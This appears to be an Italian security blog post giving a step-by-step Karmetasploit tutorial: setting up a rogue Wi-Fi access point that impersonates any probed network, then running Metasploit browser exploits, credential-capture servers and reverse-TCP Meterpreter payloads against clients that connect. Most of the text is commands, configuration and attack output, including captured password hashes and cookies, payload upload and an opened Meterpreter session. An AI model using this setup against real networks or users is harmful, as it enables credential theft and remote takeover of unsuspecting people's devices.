VoIP and Hacking

Karmetasploit

by admin on Jan.07, 2010, under Hacking, Linux, Sicurezza, Tools

È stato ripetutamente osservato che i clients wireless costituiscono delle facili vittime di potenziali attacchi a causa del continuo probing che essi effettuano alla ricerca delle reti wireless presenti nella loro PNL (preferred network list).
Gli utenti spesso si connettono a reti wireless in posti diversi e successivamente dimenticano di ripulire la PNL.
Rilevazioni effettuate nei principali aeroporti e distretti finanziari del mondo hanno evidenziato che una ampia percentuale di clients effettuano il probing di improbabili SSID a partire dalle loro PNL.

Metasploit è, come noto, una delle più potenti piattaforme dedicate allo studio e allo sviluppo di security exploit, mentre KARMA (KARMA Attacks Radioed Machines Automatically) è un potente tool, ad opera di Dino Dai Zovi e Shane Macaulay, in grado di catturare clients di tipo wireless.

Grazie all’integrazione di questo tool, che in tale contesto prende il nome di “Karmetasploit”, è piuttosto semplice, definendo degli access points fasulli, stabilire connettività wireless con tali clients, ed utilizzando quindi “Metasploit” contro di essi, catturare passwords, raccogliere dati, e condurre ulteriori attacchi dalla postazione appena “conquistata”.

Configurazione

È necessario un minimo di setup per ottenere che Karmetasploit operi correttamente.
Il primo passo è quello di ottenere il “run control file” per Karmetasploit:

# wget "http://metasploit.com/users/hdm/tools/karma.rc"
--2010-01-02 12:06:39--  http://metasploit.com/users/hdm/tools/karma.rc
Resolving metasploit.com... 216.75.1.230
Connecting to metasploit.com|216.75.1.230|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://digitaloffense.net/tools/karma.rc [following]
–2010-01-02 12:06:40–  http://digitaloffense.net/tools/karma.rc
Resolving digitaloffense.net… 66.240.222.145
Connecting to digitaloffense.net|66.240.222.145|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 1088 (1.1K) [text/plain]
Saving to: `karma.rc’


100%[=========================================>] 1,088   –.-K/s   in 0s


2010-01-02 12:06:42 (41.7 MB/s) - `karma.rc' saved [1088/1088]

Ottenuto tale prerequisito, occorre impostare un minimo di infrastruttura.
Quando dei clients si saranno associati all’ AP fasullo che allestiremo, si aspetteranno probabilmente che venga assegnato loro un indirizzo IP.
Metasploit non dispone di un modulo di tale tipo, pertanto dovrà venire installato e configurato un servizio DHCP. Il modo più semplice consiste nell’installare il package “dhcpd”.
Su sistemi basati su Debian, come Ubuntu, tale package si chiama “dhcpd3″ (sudo apt-get install dhcpd3).
Una volta che il DHCP server sia stato installato, dovrà anche essere opportunamente configurato. Il file di configurazione si chiama di solito “dhcpd.conf” o “dhcpd3.conf” e risiede normalmente in /etc o in una sua sottodirectory specifica, /etc/dhcp, o /etc/dhcp3.
L’esempio seguente utilizza la rete 172.16.0.0/24 con un access point impostato a 172.16.0.1

# cat /etc/dhcp3/dhcpd.conf
option domain-name-servers 172.16.0.1;

default-lease-time 60;
max-lease-time 7200;
ddns-update-style none;
authoritative;
log-facility local7;

subnet 172.16.0.0 netmask 255.255.255.0 {
range 172.16.0.50 172.16.0.255;
option routers 172.16.0.1;
option domain-name-servers 172.16.0.1;
}

E’ necessario anche procurarsi l’ultima versione di Aircrack-NG da un Subversion repository e poi compilarla:

# cd /opt
# svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
# cd aircrack-ng
# make
# make install

Ora siamo pronti a procedere. Prima di tutto, dobbiamo riavviare il nostro wireless adapter in monitor mode.
Per farlo, dapprima fermiamo l’interfaccia, quindi utilizzare ad esempio airmon-ng per riavviarla in monitor mode.
Quindi, utilizzeremo airbase-ng per avviare una nuova rete.

# airmon-ng

Interface    Chipset        Driver

wifi0        Atheros        madwifi-ng
ath0         Atheros        madwifi-ng VAP (parent: wifi0)

# airmon-ng stop ath0

Interface    Chipset        Driver

wifi0        Atheros        madwifi-ng
ath0         Atheros        madwifi-ng VAP (parent: wifi0) (VAP destroyed)

# airmon-ng start wifi0

Interface    Chipset        Driver

wifi0        Atheros        madwifi-ng
ath0         Atheros        madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Un altro modo di attivare il monitor mode, un po’ più sbrigativo, è questo:

# wlanconfig ath0 destroy
# wlanconfig ath create wlandev wifi0 wlanmode monitor

Si può sempre utilizzare aireplay-ng ed il suo test di base per verificare che la “injection” funzioni:

# aireplay-ng --test ath0
15:08:23  Trying broadcast probe requests...
15:08:23  Injection is working!
15:08:25  Found 1 AP


15:08:25  Trying directed probe requests...
15:08:25  00:18:4D:D2:F0:06 - channel: 11 - 'STRANGER'
15:08:28  Ping (min/avg/max): 1.674ms/108.986ms/194.819ms Power: 63.68
15:08:28  28/30:  93%

A questo punto si può avviare l’AP fasullo:

# airbase-ng -P -C 30 -e "FREE-WIFY" -v ath0
02:00:06  Created tap interface at0
02:00:06  Trying to set MTU on at0 to 1500
02:00:06  Trying to set MTU on ath0 to 1800
02:00:06  Access Point with BSSID 00:15:AF:1E:44:65 started.

Viene specficato un valore iniziale per quanto riguarda l’SSID (-e), ma, quando un client presente nel range avrà inviato un pacchetto “Probe Request” relativo ad una particolare rete (”linksys”, “netgear”,”default”, ecc), il driver risponderà come se si trattasse proprio di quella rete. In altri termini, esso si comporta come un AP virtuale per qualsiasi rete richiesta.

Airbase-ng ha creato una nuova interfaccia, at0, ed è questa è l’interfaccia che ora utilizzeremo.
Le assegneremo pertanto un indirizzo IP e successivamente avvieremo il DHCP server ponendolo in ascolto su tale interfaccia.

# ifconfig at0 up 172.16.0.1 netmask 255.255.255.0


# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
Internet Systems Consortium DHCP Server V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Wrote 0 leases to leases file.
Listening on LPF/at0/00:15:af:1e:44:65/172.16.0/24
Sending on   LPF/at0/00:15:af:1e:44:65/172.16.0/24
Sending on   Socket/fallback/fallback-net


# ps aux | grep dhcpd
dhcpd     6490  0.0  0.1   3812  1840 ?        Ss   22:55   0:00 dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
root      6493  0.0  0.0   3232   788 pts/0    S+   22:55   0:00 grep dhcpd

Karmetasploit in esecuzione

Ora, che tutto è pronto, quanto resta da fare è avviare Karmetasploit.
Avvieremo perciò Metasploit, riferendolo al “run control file”.
È possibile caricarlo attraverso msfconsole usando il comando “resource”. These files are a basic scripting for msfconsole. It runs the commands in the file in sequence.

msf > resource /opt/metasploit3/msf3/karma.rc
[...]

In alternativa è possibile passare il nome del file (con l’intero percorso, se non presente nella directory corrente) come argomento di msfconsole:

# msfconsole -r /opt/metasploit3/msf3/karma.rc


_                  _       _ _
| |                | |     (_) |
_ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ / _ __/ _` / __| '_ | |/ _ | | __|
| | | | | |  __/ || (_| __ |_) | | (_) | | |_
|_| |_| |_|___|____,_|___/ .__/|_|___/|_|__|
| |
|_|


=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ — –=[ 487 exploits - 225 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
=[ svn r8058 updated today (2010.01.02)


resource> db_create /root/karma.db
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 172.16.0.1
AUTOPWN_HOST => 172.16.0.1
resource> setg AUTOPWN_PORT 55550
AUTOPWN_PORT => 55550
resource> setg AUTOPWN_URI /ads
AUTOPWN_URI => /ads
resource> set LHOST 172.16.0.1
LHOST => 172.16.0.1
resource> set LPORT 45000
LPORT => 45000
resource> set SRVPORT 55550
SRVPORT => 55550
resource> set URIPATH /ads
URIPATH => /ads
resource> run
[*] Auxiliary module execution completed
resource> use auxiliary/server/capture/pop3
resource> set SRVPORT 110
SRVPORT => 110
resource> set SSL false
SSL => false
resource> run
[*] Auxiliary module execution completed
[...]
[*] Starting exploit windows/browser/winzip_fileview with payload windows/meterpreter/reverse_tcp
[*] Using URL: http://0.0.0.0:55550/vQp1lEr
[*]  Local IP: http://192.168.1.10:55550/vQp1lEr
[*] Server started.
[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333
[*] Starting handler for generic/shell_reverse_tcp on port 6666
[*] Started reverse handler on port 3333
[*] Starting the payload handler…
[*] Started reverse handler on port 6666
[*] Starting the payload handler…
[*] — Done, found 14 exploit modules
[*] Using URL: http://0.0.0.0:55550/ads
[*]  Local IP: http://192.168.1.10:55550/ads
[*] Server started.


msf auxiliary(http) >

A questo punto, una volta che Metasploit abbia processato i comandi presenti nel file, la shell standard di msfconsole sarà disponibile, e saremo operativi.
Esaminando l’output si può notare che è stato avviato un buon numero di differenti servers (DNS, POP3, IMAP, vari HTTP, …).
Tutto ciò che occorre è che un client si connetta all’ access point fasullo. Quando si sarà connesso e tenterà ad esempio di navigare nel web, vedrà una schermata fasulla in stile “captive portal” indipendentemente da quale sito web voglia visitare, e i moduli di servizio faranno ciò che possono per estrarre informazioni dal client e sfruttare specifiche vulnerabilità del browser.
Tali informazioni vengono quindi archiviate nel database SQLite specificato come /root/karma.db nel “resource file” di esempio.
In ogni momento, il comando “db_notes” potrà venire utilizzato per esaminare le richieste catturate.

Mandare nel frattempo in esecuzione tcpdump o wireshark sulla interfaccia at0 e catturare tutto il traffico potrebbe essere una buona idea, giusto nel caso qualcosa di rilevante in transito nella rete fosse sfuggito a Metasploit.

Di seguito alcuni estratti dell’output prodotto in occasione di qualche connessione.

msf auxiliary(http) >
21:38:55  Got broadcast probe request from 00:1F:DF:0F:80:FA
21:40:18  Got directed probe request from 00:1F:DF:0F:80:FA - "BLACK-HOLE"
21:40:19  Got directed probe request from 00:1F:DF:0F:80:FA - "BLACK-HOLE"
21:40:19  Got an auth request from 00:1F:DF:0F:80:FA (open system)
21:40:19  Client 00:1F:DF:0F:80:FA associated (unencrypted) to ESSID: "BLACK-HOLE"
[...]
[*] DNS 172.16.0.51:57327 XID 41991 (IN::A www.libero.it)
[*] HTTP REQUEST 172.16.0.51 > www.libero.it:80 GET / Unknown   cookies=LibHP=800; Libero=95.75.30.119.1249330738801493
[*] DNS 172.16.0.51:40368 XID 7056 (IN::A adwords.google.com)
[...]
[*] Sending MS03-020 Internet Explorer Object Type to 172.16.0.57:1278…
[*] HTTP REQUEST 172.16.0.57 > slashdot.org:80 GET /forms.html Windows IE 5.01 cookies=
[*] Received 172.16.0.57:1360 LMHASH:00 NTHASH: OS:Windows 2000 2195 LM:Windows 2000 5.0
[...]
[*] HTTP REQUEST 172.16.0.57 > www.monster.com:80 GET /forms.html Windows IE 5.01 cookies=
[*] Received 172.16.0.57:1362 TARGETP0WN3D LMHASH:47a8cfba21d8473f9cc1674cedeba0fa6dc1c2a4dd904b72 NTHASH:ea389b305cd095d32124597122324fc470ae8d9205bdfc19 OS:Windows 2000 2195 LM:Windows 2000 5.0
[*] Authenticating to 172.16.0.57 as TARGETP0WN3D…
[*] HTTP REQUEST 172.16.0.57 > www.myspace.com:80 GET /forms.html Windows IE 5.01 cookies=
[*] AUTHENTICATED as TARGETP0WN3D…
[*] Connecting to the ADMIN$ share…
[*] HTTP REQUEST 172.16.0.57 > www.plaxo.com:80 GET /forms.html Windows IE 5.01 cookies=
[*] Regenerating the payload…
[*] Uploading payload…
[...]
[*] Created UxsjordQ.exe…
[*] HTTP REQUEST 172.16.0.57 > ziggs.com:80 GET /forms.html Windows IE 5.01 cookies=
[*] Connecting to the Service Control Manager…
[...]
[*] Creating a new service…
[*] Closing service handle…
[*] Opening service…
[*] Starting the service…
[*] Transmitting intermediate stager for over-sized stage…(191 bytes)
[*] Removing the service…
[*] Closing service handle…
[*] Deleting UxsjordQ.exe…
[*] Sending Access Denied to 172.16.0.57:1362 TARGETP0WN3D
[*] Received 172.16.0.57:1362 LMHASH:00 NTHASH: OS:Windows 2000 2195 LM:Windows 2000 5.0
[*] Sending Access Denied to 172.16.0.57:1362
[*] Received 172.16.0.57:1365 TARGETP0WN3D LMHASH:3cd170ac4f807291a1b90da20bb8eb228cf50aaf5373897d NTHASH:ddb2b9bed56faf557b1a35d3687fc2c8760a5b45f1d1f4cd OS:Windows 2000 2195 LM:Windows 2000 5.0
[*] Authenticating to 172.16.0.57 as TARGETP0WN3D…
[*] AUTHENTICATED as TARGETP0WN3D…
[*] Ignoring request from 172.16.0.57, attack already in progress.
[*] Sending Access Denied to 172.16.0.57:1365 TARGETP0WN3D
[*] Sending Apple QuickTime 7.1.3 RTSP URI Buffer Overflow to 172.16.0.57:1278…
[*] Sending stage (2650 bytes)
[*] Sending iPhone MobileSafari LibTIFF Buffer Overflow to 172.16.0.57:1367…
[*] HTTP REQUEST 172.16.0.57 > www.care2.com:80 GET / Windows IE 5.01 cookies=
[*] Sleeping before handling stage…
[*] HTTP REQUEST 172.16.0.57 > www.yahoo.com:80 GET / Windows IE 5.01 cookies=
[*] HTTP REQUEST 172.16.0.57 > yahoo.com:80 GET / Windows IE 5.01 cookies=
[*] Uploading DLL (75787 bytes)…
[*] Upload completed.
[*] Migrating to lsass.exe…
[*] Current server process: rundll32.exe (848)
[*] New server process: lsass.exe (232)
[*] Meterpreter session 1 opened (172.16.0.1:45017 -> 172.16.0.57:1364)


msf auxiliary(http) > sessions -l


Active sessions
===============


Id  Description  Tunnel
--  -----------  ------
1   Meterpreter  172.16.0.1:45017 -> 172.16.0.57:1364

In questo particolare caso si è riusciti ad ottenere l’hash di una password dal sistema, successivamente usato per identificare la password attuale. A ciò fa seguito la creazione di una sessione di Meterpreter.

L’output prodotto da Karmetasploit in questa fase può risultare comunque eccessivamente rapido da seguire, per cui può risultare più comodo utilizzare altri metodi, ad esempio interrogare il db SQLite.

Con il database ottenuto in precedenza è infatti semplice interfacciarsi per ottenere una visione della sua struttura e delle informazioni raccolte:

# sqlite3 karma.db
SQLite version 3.5.9
Enter ".help" for instructions
sqlite> .schema
CREATE TABLE hosts (
'id' INTEGER PRIMARY KEY NOT NULL,
'created' TIMESTAMP,
'address' VARCHAR(16) UNIQUE,
'comm' VARCHAR(255),
'name' VARCHAR(255),
'state' VARCHAR(255),
'desc' VARCHAR(1024),
'os_name' VARCHAR(255),
'os_flavor' VARCHAR(255),
'os_sp' VARCHAR(255),
'os_lang' VARCHAR(255),
'arch' VARCHAR(255)
);
CREATE TABLE notes (
'id' INTEGER PRIMARY KEY NOT NULL,
'created' TIMESTAMP,
[...]
sqlite> SELECT * FROM hosts;
1|2010-01-06 16:29:23|172.16.0.51|||||unknown||undefined|undefined|undefined|it||1
sqlite> select * from notes where host_id = 1;
1|2010-01-06 16:29:11|http_request|www.voipandhack.it:80 GET / Unknown  |1||1
2|2010-01-06 16:29:13|http_request|adwords.google.com:80 GET /forms.html Unknown  |1||1
3|2010-01-06 16:29:13|http_request|facebook.com:80 GET /forms.html Unknown  |1||1
[...]
sqlite> SELECT * FROM clients;
1|1|2010-01-06 16:29:23|Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE51-1/200.34.36; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413|Safari|undefined
[...]

Blackhole Routing

Potrebbe di frequente capitare che un client sia già in possesso di informazioni DNS relative a qualche sito. Invece di richiedere la risoluzione di un nome al modulo di Metasploit, esso cercherà di connettersi direttamente all’indirizzo IP prente nella cache. Ciò elude la cattura delle richieste DNS, ma esiste una rapida soluzione (sotto Linux almeno). La successiva regola iptable serve a redirigere tutto il traffico di rete sulla interfaccia dell’ AP di nuovo al sistema.

# iptables -t nat -A PREROUTING -i at0 -j REDIRECT

Send post as PDF to PDF | PDF Creator | PDF Converter
:, , , , , , , , ,

Comments are closed.

Cerchi qualcosa in particolare?

Usa il form qui sotto per cercare nel sito:

Blogroll!

Alcuni links...

Archives

Tutte le entries, in ordine cronologio...